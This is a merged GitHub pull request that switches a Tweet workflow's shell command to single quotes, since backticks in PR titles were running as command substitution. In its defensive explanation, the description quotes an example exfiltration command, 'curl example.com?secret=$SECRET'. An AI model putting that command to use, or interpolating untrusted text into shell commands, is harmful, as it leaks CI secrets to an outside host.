Skip to content

Chore: Use non-interpolating single quotes in Tweet action#74

Merged
nzakas merged 1 commit intomasterfrom
tweet-quote-backticks
Dec 29, 2020
Merged

Chore: Use non-interpolating single quotes in Tweet action#74
nzakas merged 1 commit intomasterfrom
tweet-quote-backticks

Conversation

@btmills
Copy link
Copy Markdown
Member

@btmills btmills commented Dec 28, 2020

RFC #73 originally included backticks around `only`. The automated tweet omitted "only" and its backticks. I realized that the run action command was using double quotes, so the backticks from the PR title were being interpreted by the shell as command substitution. Using single quotes disables any interpolation.

Thankfully only contributors can trigger the automated tweet by labeling or merging an RFC, and we'd notice something like curl example.com?secret=$SECRET, so this isn't really a security issue.

RFC #73 originally included backticks around <code>`only`</code>. The
automated tweet omitted "only" and its backticks. I realized that the
`run` action command was using double quotes, so the backticks from the
PR title were being interpreted by the shell as command substitution.
Using single quotes disables any interpolation.

Thankfully only contributors can trigger the automated tweet by labeling
or merging an RFC, and we'd notice something like `curl
example.com?secret=$SECRET`, so this isn't really a security issue.
@btmills btmills added bug Something isn't working meta Relates to the RFC process itself labels Dec 28, 2020
Copy link
Copy Markdown
Member

@aladdin-add aladdin-add left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lgtm!👍

@nzakas nzakas merged commit 698ed46 into master Dec 29, 2020
@nzakas nzakas deleted the tweet-quote-backticks branch December 29, 2020 18:34
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working meta Relates to the RFC process itself

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants